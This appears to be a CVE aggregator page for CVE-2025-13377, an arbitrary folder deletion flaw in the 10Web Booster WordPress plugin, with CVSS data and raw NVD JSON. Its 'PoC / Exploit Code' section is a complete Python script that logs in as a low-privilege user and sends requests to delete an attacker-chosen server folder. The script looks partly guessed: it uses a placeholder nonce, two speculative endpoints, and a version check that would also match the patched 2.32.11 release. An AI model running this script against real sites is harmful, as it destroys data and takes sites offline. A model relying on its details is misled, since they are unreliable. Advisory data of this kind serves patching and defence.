Security Vulnerability Report
δΈ­ζ–‡
CVE-2025-13377 CVSS 9.6 CRITICAL

CVE-2025-13377

Published: 2025-12-06 07:15:47
Last Modified: 2025-12-11 21:45:39

Description

The 10Web Booster – Website speed optimization, Cache & Page Speed optimizer plugin for WordPress is vulnerable to arbitrary folder deletion due to insufficient file path validation in the get_cache_dir_for_page_from_url() function in all versions up to, and including, 2.32.7. This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete arbitrary folders on the server, which can easily lead to a loss of data or a denial of service condition.

CVSS Details

CVSS Score
9.6
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:10web:10web_booster:*:*:*:*:*:wordpress:*:* - VULNERABLE
10Web Booster (TenWeb Speed Optimizer) <= 2.32.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-13377 PoC - WordPress 10Web Booster Arbitrary Folder Deletion # Author: Security Researcher # Date: 2025-12-06 import requests import sys from urllib.parse import urljoin def exploit_cve_2025_13377(target_url, username, password, target_folder): """ Exploit for CVE-2025-13377: 10Web Booster Plugin Arbitrary Folder Deletion Args: target_url: Target WordPress site URL username: WordPress subscriber+ account username password: Account password target_folder: Absolute path of folder to delete (e.g., /var/www/html/wp-content/) """ session = requests.Session() # Step 1: Login to WordPress login_url = urljoin(target_url, '/wp-login.php') login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } print(f"[*] Attempting login to {target_url}...") response = session.post(login_url, data=login_data, allow_redirects=True) if 'wordpress_logged_in' not in str(session.cookies): print("[-] Login failed!") return False print("[+] Login successful!") # Step 2: Trigger the vulnerable function via cache request # The vulnerability is in get_cache_dir_for_page_from_url() function # Attackers can manipulate the cache directory path exploit_url = urljoin(target_url, '/?10web_cache_dir=' + target_folder) print(f"[*] Sending exploit request to delete folder: {target_folder}") print(f"[*] URL: {exploit_url}") # Alternative: Direct plugin endpoint exploitation plugin_exploit_url = urljoin(target_url, '/wp-admin/admin-ajax.php') exploit_data = { 'action': 'tenweb_speed_optimizer_clear_cache', 'cache_path': target_folder, 'nonce': 'attacker_controlled_or_weak_nonce' } response = session.post(plugin_exploit_url, data=exploit_data) if response.status_code == 200: print("[+] Exploit request sent successfully!") print(f"[*] Response: {response.text}") return True else: print(f"[-] Exploit failed with status code: {response.status_code}") return False def check_vulnerability(target_url): """Check if target is vulnerable to CVE-2025-13377""" # Check plugin version via readme.txt readme_url = urljoin(target_url, '/wp-content/plugins/tenweb-speed-optimizer/readme.txt') try: response = requests.get(readme_url, timeout=10) if response.status_code == 200: content = response.text if '2.32.7' in content or 'Stable tag: 2.32.' in content: print("[!] Target appears to be running vulnerable version (<=2.32.7)") return True except Exception as e: print(f"[-] Error checking version: {e}") return False if __name__ == '__main__': if len(sys.argv) < 5: print("Usage: python cve_2025_13377_poc.py <target_url> <username> <password> <folder_path>") print("Example: python cve_2025_13377_poc.py http://target.com admin password /var/www/html/wp-content/") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] folder = sys.argv[4] print("="*60) print("CVE-2025-13377 PoC - 10Web Booster Arbitrary Folder Deletion") print("="*60) if check_vulnerability(target): exploit_cve_2025_13377(target, user, pwd, folder) else: print("[-] Target may not be vulnerable or plugin not detected")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13377", "sourceIdentifier": "[email protected]", "published": "2025-12-06T07:15:46.830", "lastModified": "2025-12-11T21:45:39.327", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The 10Web Booster – Website speed optimization, Cache & Page Speed optimizer plugin for WordPress is vulnerable to arbitrary folder deletion due to insufficient file path validation in the get_cache_dir_for_page_from_url() function in all versions up to, and including, 2.32.7. This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete arbitrary folders on the server, which can easily lead to a loss of data or a denial of service condition."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:H", "baseScore": 9.6, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.1, "impactScore": 5.8}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:10web:10web_booster:*:*:*:*:*:wordpress:*:*", "versionEndExcluding": "2.32.11", "matchCriteriaId": "16DED6D1-1E0B-49BF-AF57-3B556D47D25E"}]}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3402434/tenweb-speed-optimizer", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/f8bcf51a-36ee-4d4d-b9d6-d9db0dafd791?source=cve", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}